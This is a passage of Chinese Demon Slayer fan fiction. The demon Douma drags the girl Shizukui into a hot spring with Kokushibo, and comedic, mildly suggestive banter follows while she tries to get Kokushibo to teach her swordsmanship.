“这怎么可能?!”童磨拉开雫衣的手,放在嘴边亲了口,柔软的触压力落在她手背,她呆呆看向童磨,一点点涨红脸,“我跟大家的关系可是一直都很好的,我很喜欢黑死牟阁下,黑死牟阁下也一直都很喜欢我~”
雫衣:“……”
拜托你有点鬼中义勇的自觉!
雫衣什么害羞的心思都没了。
她试图抽回手,抽不动,面无表情看向童磨。
童磨抬脚向黑死牟走去。
雫衣还没有反应过他又要作什么妖,就见他抱着自己,径直踏入黑死牟所在的温泉,意识到他想干什么后,脑袋轰的一下炸开锅!
“别、别别别!这样不好!!”
雫衣花容失色。
她惊慌失措地大叫,手脚并用地挣扎,试图从童磨怀里逃走,却被他轻易扣住腰肢,重新按了回去。
“我在外面等着!你们泡,别带我!呀啊啊啊……湿了湿了,快放开我,呜,你别这样!我的衣服,啊——”
11. 啊,这样坦诚相待吗?
雫衣痛苦闭上眼。
她最终还是泡进去了!
呜呜呜,家人们谁懂啊!
她还没看见黑死牟正脸呢,上来就把人给泡了……感觉自己真的要跟这个美好的世界说拜拜了!
都怪童磨,呸——
“不要害怕,你这么可爱,没有人会讨厌你。”
童磨把抱洋娃娃一样抱着雫衣,附在她耳边轻声细语,“虽然你实力很差,但你梦想很强呀。黑死牟阁下跟猗窝座阁下不同,他不讨厌弱者,相反的,他还很欣赏有梦想的弱者。”
“之前猗窝座阁下向他换位血战,也正是由于这个原因,才能在失败后侥幸保下一条命……”
别说了别说了!
雫衣忍不住带上痛苦面具。
这是我一个外人该听的事儿吗?
你就高抬贵手让我缓口气吧!这么高强度把我当猗窝座整,你是真不怕我嘎嘣一下死这儿啊!
“唔,就算你真的被讨厌了也没关系,我相信只要大家坦诚相待,黑死牟阁下很快就会喜欢上你!”
……这是什么意思?
雫衣悚然一惊。
她猛地睁开眼,紧张又防备地看向童磨。
“怎么这样看着我?是在害羞吗?”
童磨眨了眨眼睛,声音都因为愉快打着旋儿,“哈哈哈,没关系啦,我会陪着你一起哦~”
这样说着,他脱下衣物,随手丢在岸边。
筋肉贲张的身体彻底暴露在潮湿的乳白色水雾中,那些曾被雫衣逐一抚摸的肌肉一点点舒展开来,眼睛都不知道该往哪儿放才好……
而他并没有停止,在雫衣惊恐的注视下,笑眯眯俯下身,自己跟黑死牟坦诚相待还不算,还要解她的,被她尖叫打手。
童磨委屈巴巴:“……不一起吗?”
“不要!”
雫衣拢着衣襟,用看变态的眼神瞪了童磨一眼,扭头走向离他最远的位置。
……这鬼真的很没素质!
雫衣想要赶紧远离。
可她身上穿着厚实的棉服,吸饱水后变得异常沉重,脚也像被水黏住了似的迈不开,步子跟不上前倾的身体,只听“哎呀”一声,整个人瞬间失去平衡,一头栽水里。
雫衣:“呜噜呜噜!!”
“哈哈哈哈!”童磨把人拎出来。
望着呛咳不止的雫衣,他像是吃了笑豆似的,笑得眼泪都流出来了,“没事吧?哈、哈哈,真的好可怜哦,雫衣,你不该离开我的,瞧瞧,这下变落汤鸡了吧。”
雫衣面无表情抹去脸上的水。
解开身上已经彻底湿透的棉服,狠狠砸童磨脸上。
笑笑笑,笑个屁的笑!
但凡你是个人,我都要跟你分手!
……可他不是人。
雫衣顿时蔫了。
有心踹童磨一脚,可又不敢。
只好裹着湿漉漉的白襦绊,挪到最角落,背对着他,窝囊地生闷气。
“你生气了吗?”童磨还在没眼色的不停追问,“雫衣,是我惹你生气了吗?那我跟你道歉好不好?”
他双手合十做讨饶状,“原谅我吧,是我错了,我不该笑话你成了落汤鸡。其实,你就算成了落汤鸡,也是最可爱的那只落汤鸡,我不会讨厌你的啦~。”
雫衣捂住耳朵不听。
这鬼真的好烦!
能不能来个鬼治治他啊?真是求求了!
“黑死牟阁下,这可怎么办啊?”
童磨似乎没招了,扭头寻求同事的帮助,“你是上弦之一,做人类的时候还过过凡俗的生活,你知道这种情况我该怎么道歉吗?”
他撑着脸,人性化叹气,“唉,好苦恼哦,你说我把眼睛挖出来,串成项链,戴在她脖子上好不好?”
黑死牟不予理会。
径直站起身,坚实挺拔的身体破开水面,来不及滚落的水液汇集成股,顺着千锤百炼磨练出来的结实肌理哗哗淌下。
随着他走出温泉,残存的水痕渐渐蒸发,他抓起搁在一旁的衣物,慢条斯理穿起来。
“唔,黑死牟阁下不泡了么?”童磨趴在池边。
他就那么大刺啦啦盯着黑死牟穿衣,丝毫没有自己真的很冒昧的自觉,还在跟人搭话,“我们难得才遇见,我还想跟你再多坦诚相待一下呢……”
黑死牟没理他,侧目扫向角落里的女孩子。
看不清她的模样,只能看到散开的长发海藻般飘在她身侧。
她应该也是怕的,心脏跳得凌乱又仓促,离他们远远的,身体也缩成小小一团,明显是在尽量减弱存在感。
如果不是还需要呼吸,她恐怕都不会从水面露出个半个黑漆漆的脑袋,而是整个钻进去,藏起来。
他没兴趣对下级的进食游戏指手画脚。
之所以多看一眼,不过是想起童磨刚才说过的话。
——她想要成为“天下第二的剑士”。
熟悉的话语让他心神一阵恍惚。
在很早很早之前,也曾有人这样跟他说过……
只不过,她跟那人不太一样。
黑死牟上下打量了一遍雫衣的身体。
她不太健康,身形也过分瘦弱,大概是鲁莽加练过的缘故,衣物遮挡的躯体上尽是血流不畅造成的淤青肿胀。
更令人在意的是,她后脑处有块已经压迫到大脑的淤血,那处颅骨也有裂开后愈合的迹象。
从他看到的情况推断,应该是被人暴力重击所致。
人的头颅重要又脆弱。
按道理来说,如此严重的伤势,她这样虚弱的小孩子不应该抗下来才对,就算能活,大概率也会留下后遗症,可她竟然看起来还挺健康的。
……真是令人惊讶的生命力。
黑死牟在心里夸赞了一句,转身离开。
“欸——”
童磨看了看被丢在一旁的紫色蛇纹着物,又瞅了瞅黑死牟离开的背影,忍不住叫出声,“黑死牟阁下,你衣服还没穿完呢,不穿了吗?”
黑死牟依旧不理他。
童磨感到委屈。
他真的好冷淡哦。
明明自己是特意来寻求他帮忙的,结果从头到尾,他就只问了个“何事”,之后就不再理会了……
难不成我真的被讨厌了?
这个念头只在脑海闪现了一秒,就被童磨果断抛之脑后。
这种事怎么可能呢?
他好笑地想,我可是备受神明宠爱的孩子啊,这世上根本就没有人会讨厌我!
正想着,身侧传来涉水之声。
童磨扭头扭了一半,被丢过来白襦绊罩住脑袋,挡住视线。
雫衣趁机爬上岸。
飞快捡起地上遗留的外衣,裹身上。
黑死牟的外衣又宽又长,裹她三圈还绰绰有余,她也是手忙脚乱了好一会儿,才终于穿对,那种不再赤着的感觉让她狠狠松了口气。
童磨拉下头顶的衣物。
一眼就看到将自己裹得严严实实的雫衣,她正飞快拨出黏在后背的湿漉漉头发,不停拧着水,不由担忧提醒:“……雫衣,这是黑死牟阁下的衣服哦。他可是个很严肃的人,你这样随意取用他的东西,他会生气的。”
雫衣当然知道。
黑死牟人称“六眼柠檬”,啊不,是“战国辉夜姬”,最是端庄体面。
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即便变成了鬼,人类时期的教养也依旧刻在他骨子里,令他跟外头那群茹毛饮血的野鬼有本质区别。
所以,即便他真被童磨气到了,也不可能衣衫不整得跑掉,比起让自己有失体面,他肯定更愿意让童磨知道知道什么叫做上下尊卑。
那么,排除所有不可能后,现在就只剩下一个可能性了。
——他是有意留下来的。
想到这里,雫衣鼻子不由一酸。
她慌忙吸了一口气,还没来得及压下心头涩意,童磨就已经探头瞅了过来。
他不知何时已经走出了温泉,湿淋淋的脚步跟猫儿一样,没发出丝毫响动。
直到那双彩虹般绮丽的眼睛自下而上盯过来,她才注意到面前多了具筋骨遒劲的身体!
“你、你干嘛?!”雫衣受到惊吓。不管什么时候,被人贴脸都很可怕。
童磨没说话,似笑非笑注视着雫衣。
他的眼睛很漂亮,仿佛璀璨闪耀的宝石,却莫名看的人头皮发麻。
雫衣下意识后退,可那张孩童般纯真无暇的脸上却重新绽放出大大的笑容,一把就将她捞了回来。
“呀!”
雫衣惊呼出声。
她想挣扎,胳膊却碰到了不得的东西,顿时脸都绿了。
唉,不是,我、真的,你,唉……
“这个颜色很衬你哦。”
童磨收拢了雫衣僵硬的手脚,掐着胳肢窝把人举高高,上上下下打量着她,毫不吝啬地夸赞,“明明黑死牟阁下穿的时候那么严肃,可放在你身上,竟然意外好看!你喜欢的话,我以后会给你买更多这个颜色的衣服喔~”
“放我下来吧。”
雫衣想生气,又不敢瞪童磨。
这个角度太不妙了,她一低头就会看到少儿不宜的东西,只好一边眼神乱瞟,一边磕磕绊绊给自己找理由,“……我头发还没擦干,冷风也在不停从底下灌进来,再这样下去,你会让我生病的,到时候,我就不能成为天下第二的剑士保护你了。”
童磨唔了声,抱小婴儿一样抱住她:“这样会不会好一点?”
雫衣:“……”
你能不能不要选择性回答?
雫衣叹气:“的确好了点,但你能不能放我下来?”
“下去做什么,你还赤着脚呢。”
童磨看了眼被木制地灯点亮的小路,拒绝性地把人抱更紧,“虽然这里是鸣女小姐用血鬼术制造的场景,不存在尖锐的砾石,但对你来说,地面也还是太冷了。”
他忽然想到什么,惊讶地看向雫衣,“……啊,你是想去黑死牟阁下那里么?”
雫衣被问得一愣。
沉默片刻,点头承认了。
“你找他做什么?”童磨不高兴噘起嘴巴,孩子气抱怨,“他那么冷淡,跟他说话他都不理人,真叫人伤心。”
……我要是他,我不仅不理你,我还要揍你。
如是腹诽着,雫衣伸手去摸童磨的脸。
宽大的袖口顺着纤细的手腕垂落,莹白的肌肤闪着珍珠一样光。
他立刻笑着把脸贴过来,抵在她柔软的掌心轻轻蹭着,乖巧无害的样子任谁都看不出半分危险可怖的上弦之二影子。
“不想见他的话,你就在这里等我好了。”
雫衣放缓了声音,不跟他硬犟,“你对我这么好,给我找老师肯定也是最棒的。我一个做学生的,哪有因为老师态度冷淡了些就退避三舍的道理?我还想成为天下第二的剑士,尽快拥有保护你的力量呢。”
顿了顿,她才又说,“况且,我穿了他的衣服,总该去感谢一番。不然,那未免也太失礼了。”